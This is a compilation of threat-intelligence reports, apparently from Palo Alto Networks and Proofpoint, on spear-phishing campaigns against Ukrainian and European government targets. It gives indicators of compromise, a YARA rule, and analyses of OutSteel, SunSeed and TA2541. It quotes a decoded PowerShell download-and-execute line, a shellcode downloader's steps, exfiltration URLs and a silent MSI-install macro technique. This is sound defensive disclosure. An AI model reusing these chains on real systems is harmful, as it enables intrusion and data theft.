8003659902[.]site 8003659902[.]space 9348243249382479234343284324023432748892349702394023[.]xyz baiden00[.]ru buking[.]site coronavirus5g[.]site eumr[.]site main21[.]xyz mohge[.]xyz name1d[.]site name4050[.]com orpod[.]ru smm2021[.]net stun[.]site update-0019992[.]ru update0019992[.]ru update3d[.]xyz www.baiden00[.]ru www.lywdm[.]com www.update0019992[.]ru IPv4 Addresses 19/30 185.244.41[.]109 194.147.142[.]232 31.42.185[.]63 45.146.164[.]37 45.146.165[.]91 Additional Infrastructure 1000018[.]xyz 1000019[.]xyz 1000020[.]xyz 1017[.]site 1120[.]site 1202[.]site 1221[.]site 15052021[.]space 150520212[.]space 150520213[.]space 1681683130[.]website 16868138130[.]space 1833[.]site 1924[.]site 2055[.]site 2215[.]site 2330[.]site 29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz 32689657[.]xyz 32689658[.]xyz 32689659[.]xyz 33655990[.]cyou 4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space 9832473219412342343423243242364-34939246823743287468793247237[.]site 99996665550[.]fun almamaterbook[.]ru buking[.]site getvps[.]site giraffe-tour[.]ru gosloto[.]site name4050[.]com noch[.]website otrs[.]website polk[.]website sinoptik[.]site sony-vaio[.]ru Appendix A: Prior Attacks Associated With UAC-0056 Prior attacks associated with UAC-0056 are described below, organized by the time of attack. For an overview of known attacks, please see the timeline in the Links to Prior Attacks section above. March 2021 Attacks According to MalwareBytes research, this threat group carried out an attack campaign in March 2021 on targets in Georgia using Bitcoin and COVID themes. The researchers state that these attacks involve spear phishing, but we do not have telemetry to confirm the targeted organizations, attack vector or the exact dates in which the attacks took place. The Bitcoin- 20/30 themed attacks are very similar to those seen in later April attacks, as the PDF delivery documents had similar content that references Electrum bitcoin wallets, as seen in Figure 21. Figure 21a. Contents of PDF documents used in Bitcoin-themed attacks in March 2021. 21/30 Figure 21b. Contents of PDF documents used in Bitcoin-themed attacks in March 2021. The COVID-themed attacks reference a government organization in Georgia, which suggests that the threat group has interests in other countries in the region in addition to Ukraine. The attack involved a Zip archive hosted at bgicovid19[.]com/assets/img/newCOVID-21.zip and contains the two malicious files and one decoy document, as listed in Table 4. Filename SHA256 Description !!! COVID21.doc 4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70 Delivery document exploits CVE-2017-11882 to download www.baiden00[.]ru/win21st.txt Folder.lnk 5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b LNK Shortcut that downloads baiden00[.]ru/wininst.exe letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf 49a758bfe34f1769a27b1a2da9f914bc956f7fdbb9e7a33534ca9e19d5f6168c Decoy document Table 4. Delivery documents used in March attack. The letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf document is a decoy, as it contains no malicious content. The decoy content does show a document from the Ministry of Labour, Health and Social Affairs of Georgia, as seen in Figure 22, which suggests that the target may have involved an organization in Georgia. 22/30 Figure 22. Decoy document s contents in suspected March 2021 attacks. April 2021 Attacks In April 2021, the threat group carried out an attack that involved a spear phishing email with a PDF document attached, which suggested the recipient could become rich by accepting Bitcoins, as seen in Figure 23. As first seen in research by Ahnlab, these Bitcoin-themed attacks were specifically targeting Ukrainian government organizations. Figure 23. Contents of PDF documents used in Bitcoin-themed attacks. The PDF document attached to the delivery email contains text that suggests the individual can access a Bitcoin wallet with a large sum of money along with a link to download the wallet, as seen in Figure 24. The link cutt[.]ly/McXG1ft is shortened and points to the URL http://1924[.]site/doc/bitcoin.zip to download a Zip archive. 23/30 Figure 24. Contents of PDF documents used in Bitcoin-themed attacks. The Zip archive contains a LNK shortcut that runs a powershell script to download and execute a payload from hxxp://1924[.]site/soft/09042021.exe. The archive also contains a password.txt file that has the following contents, which involve an Electrum Bitcoin wallet that links back to the attacks against Ukraine on Feb. 1, 2022: Wallet in folder. Electrum: https://electrum.org Password for walletr is: btc1000000000usd According to Fortinet research, in April 2021, this threat group also carried out COVID-themed attacks on Ukrainian government organizations. The email seen in Figure 25 includes a fake forwarded message meant to appear as correspondence between a government official and the World Health Organization (WHO). The email contains a link to a Zip archive hosted on the legitimate who.int domain. However, the link points to a shortened link of hxxps://cutt[.]ly/LcHx2Ga instead. 24/30 Figure 25. Delivery email in COVID-themed attacks. The hxxps://cutt[.]ly/LcHx2Ga URL points to hxxp://2330[.]site/NewCovid-21.zip, which hosted a Zip archive (SHA256: 677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc) that contained the following files: COVID-21.doc (SHA256: 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a) COVID-21.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d) GEO-CFUND-2009_CCM Agreement_Facesheet - signed.pdf (SHA256: bbab12dc486b1c6fcf9e343ec1474d0f8967de988444d7f838f1b4dcab343e8a) New Folder.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d) The LNK shortcuts attempt to run a PowerShell script that will download an executable from the following URL, save it to %TEMP%\WindowsUpdate.exe and execute it: hxxp://2330[.]site/soft/08042021.exe The LNK shortcut downloads the executable from the URL above using the Start-BitsTransfer cmdlet, which is the same technique the threat group used to download the payload within the macro in the July 2021 attacks discussed below. May 2021 Attacks 25/30 In May 2021, we saw the threat group sending targeted emails sent to two Ukrainian government organizations. The two emails had subjects of 4872823 and 487223/2, and both had the same message content that suggested the email was from a senior investigator trying to contact the individual, as seen in Figure 26. The use of law enforcement related themes across May and June 2021, as well as in February 2022, suggests that the threat group favors this social engineering theme in the absence of a trending topic or current event. Figure 26. Spear phishing email sent to Ukrainian government organizations in May 2021. Both of the delivery emails had the same attachment, specifically 4872823-(20).cpl (SHA256: f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8), which is a Windows Control Panel File that acts as an initial downloader to download and execute a payload from: 32689657[.]xyz/putty5482.exe The Control Panel File saves the downloaded executable to %PUBLIC%\puttys.exe and runs it using the WinExec function. The resulting executable (SHA256: df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3) eventually runs the OutSteel document stealer, which will exfiltrate files to the following URL: hxxp://194[.]147.142.232/upld/ June 2021 Attacks In June 2021, we observed this threat group targeting another Ukrainian government organization by sending a spear phishing email with a subject that translates to Your arrest warrant from Ukrainian. The content of this email, seen in Figure 27, includes urgent language suggesting that the recipient must read the attached report or they will be declared wanted. This law enforcement theme relates to the Feb. 1, 2022, attacks that used a supposed police report as part of social engineering. 26/30 Figure 27. Spear phishing email sent to Ukrainian government organization in June 2021. The attachment is not a report as the body of the email suggests. Rather, the 487223-31.doc (880m5) .js file attached is a JavaScript file that is 1,029,786 bytes in size (the actors added a considerable amount of spaces between each character of the JavaScript code). If the recipient opens the attachment, the following JavaScript will execute: Figure 28. Malicious JavaScript contained in attached file. The JavaScript above will run an encoded PowerShell script that decodes to the following: invOKe-WeBREqUEST -urI hxxp://150520212[.]space/000.cpl -oUtFILE $ENv:PuBLiC\000.cpl; & $eNV:PUBlIc\000.cpl This PowerShell script will download and execute a Control Panel File (CPL) from 150520212[.]space, which it saves to a file named 000.cpl (SHA256: b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939). The 000.cpl is a DLL whose functional code exists within the exported function CPlApplet. The functional code uses several consecutive jumps in an attempt to make code analysis more difficult. Despite these jumps, the functional code starts with a decryption stub, which will XOR each QWORD in the ciphertext using a key that starts as 0x29050D91. However, in each iteration of the decryption loop, the key is modified by multiplying it by 0x749507B5 and adding 0x29050D91. Once the decryption stub has finished, the code jumps to the decrypted code, which is a shellcode-based downloader that carries out the following activity: 27/30 1. Loads kernel32 using LoadLibraryW 2. Gets the address to ExpandEnvironmentStringsW using GetProcAddress 3. Calls ExpandEnvironmentStringsA to expand the environment string for the path %PUBLIC%\5653YQ5T3.exe 4. Opens the %PUBLIC%\5653YQ5T3.exe file using CreateFileW 5. Loads WinHttp using LoadLibraryA 6. Opens an HTTP session by calling WinHttpOpen 7. Connects to remote server 150520212[.]space over port 80/TCP by calling WinHttpConnect 8. Creates an HTTP GET request for /0404.exe using WinHttpOpenRequest 9. Sends the request via WinHttpSendRequest 10. Calls WinHttpReceiveResponse, WinHttpQueryDataAvailable and WinHttpReadData to get the HTTP response data 11. Writes the response data to %PUBLIC%\5653YQ5T3.exe by calling WriteFile 12. Closes handle to %PUBLIC%\5653YQ5T3.exe by calling CloseHandle 13. Runs %PUBLIC%\5653YQ5T3.exe by calling ShellExecuteW 14. Finishes by calling ExitProcess The file hosted at 150520212[.]space/0404.exe (SHA256: cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1) is an OutSteel sample that gathers and exfiltrates files to http://45[.]146.164.37/upld/. July 2021 Targeting On July 22, 2021, we observed a spear phishing attempt in which the threat group targeted a Western government entity in Ukraine. The actors sent the email to an address publicly displayed on the embassy s website with the subject RE: CV. The email had a Word document attached to it with a filename structured as __CV.doc, of which the name was a well-known journalist in Ukraine. Figure 29 shows the contents of the attached document as it would display in a native Ukrainian installation of Windows. 28/30 Figure 29. Contents of delivery document used in July 2021 attacks on an embassy in Kyiv. The content of the document is meant to resemble a resume of the journalist. However, the garbled text suggests an encoding issue that the Ukrainian version of Windows could not display. The image is a stock photo available at several websites [1][2][3], which does not appear to be a picture of the actual journalist. The garbled text is likely intentional as an attempt to trick the user into clicking the Enable Editing button, which would ultimately run the macro embedded in the document. The macro that will run if the user clicks the Enable Editing button, seen in Figure 30, creates a batch script called meancell.bat that executes a PowerShell command that will use the Start-BitsTransfer cmdlet to download a payload from hxxp://1833[.]site/kpd1974.exe. It then saves it to and executes everylisten.exe. Figure 30 shows the contents of the macro found in this delivery document. Figure 30. Contents of macro in delivery document. The kpd1974.exe file (SHA256: b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43) downloaded and executed by the macro ultimately runs a variant of the OutSteel document harvesting tool that exfiltrates files to hxxp://45.146.165[.]91:8080/upld/. We found two additional delivery documents that shared a similar macro and hosted 29/30 the payload on the 1833[.]site, as seen in Table 5. One of the filenames of these two related documents suggest that the threat group continued to use the fake resume theme. First Seen Filename Download URL 7/23/2021 (22-7-2021).doc hxxp://1833[.]site/gp00973.exe 7/23/2021 CV_RUSLANA.doc hxxp://1833[.]site/rsm1975.exe Table 5. Related delivery documents used in July attack. Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. 30/30 Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-militaryemails March 1, 2022 Blog Threat Insight Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to Target European Governments and Refugee Movement March 01, 2022 Michael Raggi, Zydeca Cass and the Proofpoint Threat Research Team Key Takeaways Proofpoint has identified a likely nation-state sponsored phishing campaign using a possibly compromised Ukrainian armed service member s email account to target European government personnel involved in managing the logistics of refugees fleeing Ukraine. The email included a malicious macro attachment which attempted to download a Luabased malware dubbed SunSeed. The infection chain used in this campaign bears significant similarities to a historic campaign Proofpoint observed in July 2021, making it likely the same threat actor is behind both clusters of activity. Proofpoint is releasing this report in an effort to balance accuracy with responsibility to disclose actionable intelligence during a time of high-tempo conflict. Overview Ambuscade: To attack suddenly and without warning from a concealed place Proofpoint researchers have identified a phishing campaign originating from an email address (ukr[.]net) that appears to belong to a compromised Ukranian armed service member. This discovery comes on the heels of alerts by the Ukrainian Computer Emergency Response Team (CERT-UA) and the State Service of Special Communications and Information Protection of Ukraine about widespread phishing campaigns targeting private email accounts of Ukrainian armed service members by UNC1151 , which Proofpoint tracks as part of TA445. The email observed by Proofpoint may represent the next stage of these attacks. The email included a malicious macro attachment which utilized social engineering themes pertaining to the Emergency Meeting of the NATO Security Council held on February 23, 2022. The email also contained a malicious attachment which attempted to download 1/18 malicious Lua malware named SunSeed and targeted European government personnel tasked with managing transportation and population movement in Europe. While Proofpoint has not definitively attributed this campaign to the threat actor TA445, researchers acknowledge that the timeline, use of compromised sender addresses aligning with Ukrainian government reports, and the victimology of the campaign align with published TA445 tactics to include the targeting and collection around refugee movement in Europe. Proofpoint assesses that, in light of the ongoing Russia-Ukraine war, actions by proxy actors like TA445 will continue to target European governments to gather intelligence around the movement of refugees from Ukraine and on issues of importance to the Russian government. TA445, which appears to operate out of Belarus, specifically has a history of engaging in a significant volume of disinformation operations intended to manipulate European sentiment around the movement of refugees within NATO countries. These controlled narratives may intend to marshal anti-refugee sentiment within European countries and exacerbate tensions between NATO members, decreasing Western support for the Ukrainian entities involved in armed conflict. This approach is a known factor within the hybrid warfare model employed by the Russian military and by extension that of Belarus. Delivery On February 24, 2022, Proofpoint detected an email originating from a ukr[.]net email address which was sent to a European government entity. The email utilized the subject "IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022" and included a macro enabled XLS file titled list of persons.xlsx, which was later determined to deliver SunSeed malware. The social engineering lure utilized in this phishing campaign were very timely, following a NATO Security Council meeting on February 23, 2022 and a news story about a Russian government kill list targeting Ukrainians that began circulating in Western media outlets on February 21, 2022. The format of the subject included the date 24.02.2022 at the end of subject line and was superficially similar to emails reported by the State Service of Special Communications and Information Protection of Ukraine (SSSCIP) on February 25, 2022. This alert indicated that mass phishing campaigns were targeting Citizens e-mail addresses in Ukraine. The timing of the Proofpoint observed campaign is notable as it occurred within close proximity to the campaigns reported by Ukrainian state agencies. 2/18 Figure 1. SSSCIP Ukraine reported email including date format 24.02.2022. 3/18 Figure 2. CERT-UA reports of UNC1151 targeting private accounts of Ukrainian military personnel. Open-source research on the sender email address identified the account on a Ukrainian public procurement document for a Stihl lawn mower in 2016. The email account was listed as the contact address on the purchase, while the customer was listed as 2622 or military unit A2622. This title, as well as the address listed, appear to refer to a military barracks that houses a military unit in or the Chernihiv region of Ukraine. While Proofpoint has not definitively determined that this detected campaign is aligned with the phishing campaigns reported by the Ukrainian government or that this activity can be attributed to TA445, researchers assess that this may represent a continuation of the campaigns that utilize compromised Ukrainian personal accounts of armed service members to target the governments of NATO members in Europe. 4/18 Figure 3. Ukrainian military procurement documents including possible compromised sender email as contact. Macro Enabled Attachments The malicious XLS attachment observed in the email was laden with a simple but distinct macro. When enabled, it executes a VB macro named Module1 which creates a Windows Installer (msiexec.exe) object invoking Windows Installer to call out to an actor-controlled staging IP and download a malicious MSI package. It also sets a Microsoft document UILevel equal to which specifies a user interface level of completely silent installation. This hides all macro actions and network connections from the user. The actor accesses the delivery IP via the Microsoft Installer InstallProduct method which is intended 5/18 to obtain an MSI install file from a URL, save it to a cached location, and finally begin installation of the MSI package. Since the actor is utilizing an MSI package as an installer for a Lua-based malware, this method is well suited to be deployed via a malicious macro-laden document delivered via phishing. Figure 4. Observed malicious macro within list of persons.xlsx. SunSeed Lua Malware Installation Analysis of the actor-controlled delivery infrastructure identified an MSI package which installed a series of Lua-based dependencies, executed a malicious Lua script that Proofpoint has dubbed SunSeed, and established persistence via an LNK file installed for autorun at Windows Startup. This file, named qwerty_setup.msi, was previously identified publicly by 6/18 security researcher Colin Hardy in response to Proofpoint s initial content regarding this threat. The package installs 12 legitimate Lua dependencies, a Windows Lua interpreter, a malicious Lua script (SunSeed), and a Windows shortcut LNK file for persistence. Notably, the legitimate Windows Lua interpreter sppsvc.exe has been modified so it does not print any output to the Windows Console. This is likely an effort to conceal the malware installation from the infected user. All files, except for the LNK file, are installed to the folder C:\ProgramData\.security-soft\. The LNK persistence script, which executes the SunSeed command print.lua via the Window Lua interpreter, is saved to the directory C:\ProgramData\.security-soft\sppsvc.exe to be executed at startup. This executes the malicious SunSeed Lua script print.lua that attempts to retrieve additional malicious Lua code from the actor command and control (C2) server. Legitimate Files and Lua Dependencies: luacom.dll (LuaCom Library) ltn12.lua (LuaSocket: LTN12 module) mime.lua (MIME support for the Lua language) http.lua (HTTP library for Lua) url.lua (luasocket) tp.lua (luasocket) socket.lua (luasocket) tp.lua core.dll mime.dll lua51.dll sppsvc.exe (Lua Windows Standalone Interpreter modified to suppress console output) <6 characters>.rbs (Windows Installer Rollback Script) Persistence File: Software Protection Service.lnk Installation Directory: ~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software Protection Service.lnk Malicious SunSeed Lua Script: print.lua| 7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328 7/18 Figure 5. Asylum Ambuscade - Campaign Snapshot. Proofpoint researchers observed several distinct and unusual aspects about the MSI package upon closer inspection. The actor utilized the Japanese Shift-JIS code base, resulting in a Japanese language installation message upon launching the MSI package. This may be a rudimentary false flag intended to conceal the spoken language of the threat actor. Additionally, examination of the cryptography calls made by the package during installation indicates that the MSI file appears to have been created using a dated version of WiX Toolset version 3.11.0.1528. This is an open-source software that allows users to build MSIs without requiring additional software on a build server from the command line. This version was last updated in 2017 with a more recent update being pushed in 2019 and an entirely new version of the toolset made available in May 2021. 8/18 Figure 6. Japanese code base MSI package installation display. Figure 7. MSI package cryptography call indicating Windows Installer XML version. SunSeed Malware Capabilities: A Lua Downloader Based on decoding of the SunSeed print.lua malicious second stage payload script, it appears to be a simple downloader which obtains the C Drive partition serial number from the host, appends to a URL request via a Lua socket, consistently pings the C2 server for additional 9/18 Lua code, and executes the code upon receiving it within a response. At the time of analysis, Proofpoint did not receive additional Lua code from the C2 server. However, researchers believe that this is likely intended to deliver subsequent stage payloads to the infected host. Further attempts to decode the SunSeed Lua host included several notable strings that may suggest a possible response from the actor-controlled server. These strings do not appear to be part of the initial SunSeed script s functionality in the absence of a C2 server response. Observed string values include, but are not limited to: serial string luacom CreateObject Scripting.FileSystemObject Drives SerialNumber socket.http request http://84.32.188[.]96/ socket sleep Command and Control The SunSeed malware when executed issues GET requests over HTTP via port 80 using a Lua Socket. The requests are issued to the C2 server every three seconds anticipating a response. The malware specifies the user agent as LuaSocket 2.0.2 and appends the infected target C Drive partition serial number to the URI request. This is a unique decimal digit value assigned to a drive upon creation of the file system. It may be an attempt by actors to track infected victims on the backend per their unique serial number. Additionally, this may allow operators to be selective about which infections are issued a next stage payload response. Based on the observed strings in the Lua script, researchers speculate that the server response may include further malicious commands, or a Lua based installer code which is executed as a response to the SunSeed payload, depending on the received serial identification number. Figure 8. SunSeed Lua malware C2 communication. Victimology and Targeting 10/18 With the finite data set available to Proofpoint surrounding this campaign, limited conclusions can be drawn regarding targeting. The Proofpoint-observed email messages were limited to European governmental entities. The targeted individuals possessed a range of expertise and professional responsibilities. However, there was a clear preference for targeting individuals with responsibilities related to transportation, financial and budget allocation, administration, and population movement within Europe. This campaign may represent an attempt to gain intelligence regarding the logistics surrounding the movement of funds, supplies, and people within NATO member countries. Attribution Remains Unclear Several temporal and anecdotal indicators exist which suggest that this activity aligns with reported campaigns by the threat actor TA445/UNC1151/Ghostwriter. However, Proofpoint has not yet observed concrete technical overlaps which would allow us to definitively attribute this campaign to this actor. In addition to the notable overlaps with Ukrainian government reported campaigns referenced previously, the victimology of this campaign with prominent NATO governments being targeted and a possible focus on the movements of refugees in NATO countries recalls historic motivations of TA445 s information operations circa 2021. Specifically, the anti-migratory narratives disseminated by the group also referred to as Ghostwriter during the 2021 migratory crisis in which Belarus intentionally funneled refugees to the Polish border belies a possible connection between this 2022 campaign and TA445 s historic mandate. Mainly both campaigns may indicate the weaponization of migrants and refugees of war through a hybrid information warfare and targeted cyberattack model. Researchers at Mandiant addressed these tactics by UNC1151 s information operation team referred to as Ghostwriter (collectively TA445) in a recent presentation (12:17 time stamp), disclosing the existence of the group and attributing the activity to Belarus. Proofpoint also notes that, in addition to the Asylum Ambuscade operation, in recent days researchers have detected TA445 credential harvesting activity that aligns with Mandiant description of this threat group to include the use of GoPhish to deliver malicious email content. This activity appears distinct from the Asylum Ambuscade campaign. Proofpoint is currently tracking the actor responsible for Asylum Ambuscade as distinct from TA445 until a technical relationship can be further established. Tactic Asylum Ambuscade Campaign TA445 Document Attachment Phishing Focus on Refugee Issues and NATO 11/18 Use of Macro Enabled Documents Use of GoPhish Use of MSI Packages Use of Lua Based Malware Use of Compromised Sender Infrastructure Figure 9. Comparison of Asylum Ambuscade campaign and TA445 TTPs. While Proofpoint has not definitively determined attribution at this time, researchers assess with moderate confidence that this campaign and a historic campaign from July 2021 were conducted by the same threat actor. The July 2021 campaign utilized a highly similar macroladen XLS attachment to deliver MSI packages that install a Lua malware script. Similarly, the campaign utilized a very recent government report as the basis of the social engineering content and titled the malicious attachment list of participants of the briefing.xls. addition to the file name being quite similar to the Asylum Ambuscade campaign, the Lua script created a nearly identical URI beacon to the SunSeed sample, which was composed of the infected victim s C Drive partition serial number. Analysis of the cryptography calls in both samples revealed that the same version of WiX 3.11.0.1528 had been utilized to create the MSI packages. Finally, the macros in this historic campaign utilized the identical technique as the Asylum Ambuscade campaign, using Windows Installer to retrieve an MSI package from an actor-controlled IP resource and suppressing indications of installation from the user. The July 2021 campaign targeted senior cyber security practitioners and decisionmakers at private US-based companies, including those in the defense sector. 12/18 Figure 10. Historic malicious macro seen in July 2021. Conclusion: Balancing Accurate Reporting in a Timely Fashion This activity, independent of attribution conclusions, represents an effort to target NATO entities with compromised Ukrainian military accounts during an active period of armed conflict between Russia, its proxies, and Ukraine. In publishing this report, Proofpoint seeks to balance the accuracy of responsible reporting with the quickest possible disclosure of actionable intelligence. The onset of hybrid conflict, including within the cyber domain, has accelerated the pace of operations and reduced the amount of time that defenders have to answer deeper questions around attribution and historical correlation to known nation-state operators. However, these are issues that Proofpoint will continue to research while 13/18 protecting customers globally. Proofpoint invites additional details and input around any observed activity that aligns with these reports. While the utilized techniques in this campaign are not groundbreaking individually, if deployed collectively, and during a high tempo conflict, they possess the capability to be quite effective. As the conflict continues, researchers assess similar attacks against governmental entities in NATO countries are likely. Additionally, the possibility of exploiting intelligence around refugee movements in Europe for disinformation purposes is a proven part of Russian and Belarussian-state techniques. Being aware of this threat and disclosing it publicly are paramount for cultivating awareness among targeted entities. Indicators of Compromise (IOCs) Type of @ukr[.]net Sender Email IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022 Email Subject list of persons.xls 1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3 Attachment 84.32.188[.]96 qwerty_setup.msi Package 31d765deae26fb5cb506635754c700c57f9bd0fc643a622dc0911c42bf93d18f print.lua 7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328 Lua Script 14/18 luacom.dll f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c Files ltn12.lua b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29 mime.lua e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a http.lua d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c socket.dll 3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044 mime.dll 976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657 lua5.1.dll fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f url.lua 269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab sppsvc.exe 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 tp.lua 343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269 socket.lua 15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d Software Protection Service.lnk File Name AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software Protection Service.lnk Directory Path C:\ProgramData\.security-soft Directory Path hxxp://84.32.188[.]96/ 15/18 list of participants of the briefing.xls File a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0 157.230.104[.]79 i.msi 2e1de7b61ed25579e796ec4c0df2e25d2b98a1f8d4fdb077e2b52ee06c768fca Package hxxp://45.61.137[.]231/?id= wlua5.1.exe Files 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 core.lua 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 luacom.dll f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c struct.dll 5b317f27ad1e2c641f85bef601740b65e93f28df06ed03daa1f98d0aa5e69cf0 ltn12.lua b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29 mime.lua e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a http.lua d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c socket.dll 3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044 16/18 core.dll 9aa3ca96a84eb5606694adb58776c9e926020ef184828b6f7e6f9b50498f7071 core.lua 20180a8012970453daef6db45b2978fd962d2168fb3b2b1580da3af6465fe2f6 mime.dll 976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657 lua5.1.dll fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f url.lua 269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab alien.lua 303e004364b1beda0338eb10a845e6b0965ca9fa8ee16fa9f3a3c6ef03c6939f tp.lua 343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269 socket.lua 15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d YARA Signatures 17/18 rule WindowsInstaller_Silent_InstallProduct_MacroMethod meta: author = "Proofpoint Threat Research" date = "20210728" hash = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3; a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0" reference = "This signature has not been quality controlled in a production environment. Analysts believe that this method is utilized by multiple threat actors in the wild" strings: $doc_header = {D0 CF 11 E0 A1 B1 1A E1} $s1 = ".UILevel = 2" $s2 = "CreateObject(\"WindowsInstaller.Installer\")" $s3 = ".InstallProduct \"http" condition: $doc_header at 0 and all of ($s*) Emerging Threats Signatures 2035360 SunSeed Lua Downloader Activity (GET) 2035361 SunSeed Downloader Retrieving Binary (set) 2035362 SunSeed Download Retrieving Binary Subscribe to the Proofpoint Blog Select 18/18 Charting TA2541's Flight proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight February 9, 2022 Threat Insight Charting TA2541's Flight February 15, 2022 Selena Larson and Joe Wise Key Findings Proofpoint researchers have tracked a persistent cybercrime threat actor targeting aviation, aerospace, transportation, manufacturing, and defense industries for years. The threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. The threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017. Proofpoint calls this actor TA2541. Overview TA2541 is a persistent cybercriminal actor that distributes various remote access trojans (RATs) targeting the aviation, aerospace, transportation, and defense industries, among others. Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics, techniques, and procedures (TTPs) in that time. Entities in the targeted sectors should be aware of the actor's TTPs and use the information provided for hunting and detection. TA2541 uses themes related to aviation, transportation, and travel. When Proofpoint first started tracking this actor, the group sent macro-laden Microsoft Word attachments that downloaded the RAT payload. The group pivoted, and now they more frequently send messages with links to cloud services such as Google Drive hosting the payload. Proofpoint assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware, broad targeting with high volume messages, and command and control infrastructure. While public reporting detailing similar threat activities exists since at least 2019, this is the first time Proofpoint is sharing comprehensive details linking public and private data under one threat activity cluster we call TA2541. Campaign Details Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not typically use current events, trending topics, or news items in its social engineering lures. In nearly all observed campaigns, TA2541 uses lure themes that include transportation related 1/12 terms such as flight, aircraft, fuel, yacht, charter, etc. Figure 1: Email lure requesting information on aircraft parts. 2/12 Figure 2: Email lure requesting ambulatory flight information. TA2541 demonstrates persistent and ongoing threat activity since January 2017. Typically, its malware campaigns include hundreds to thousands of messages, although it is rare to see TA2541 send more than 10,000 messages at one time. Campaigns impact hundreds of organizations globally, with recurring targets in North America, Europe, and the Middle East. Messages are nearly always in English. In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes consistent with their overall theme of cargo and flight details. For example, they distributed lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19 testing kits. 3/12 Figure 3: PPE themed lure used by TA2541. The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic cargo, flight, charter, etc. themed lures. Multiple researchers have published data on similar activities since 2019 including Cisco Talos, Morphisec, Microsoft, Mandiant, and independent researchers. Proofpoint can confirm the activities in these reports overlap with the threat actor tracked as TA2541. Delivery and Installation In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that lead to an obfuscated Visual Basic Script (VBS) file. If executed, PowerShell pulls an executable from a text file hosted on various platforms such as Pastetext, Sharetext, and GitHub. The threat actor executes PowerShell into various Windows processes and queries Windows Management Instrumentation (WMI) for security products such as antivirus and firewall software, and attempts to disable built-in security protections. The threat actor will collect system information before downloading the RAT on the host. 4/12 Figure 4: Example attack chain. While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent Monitor. 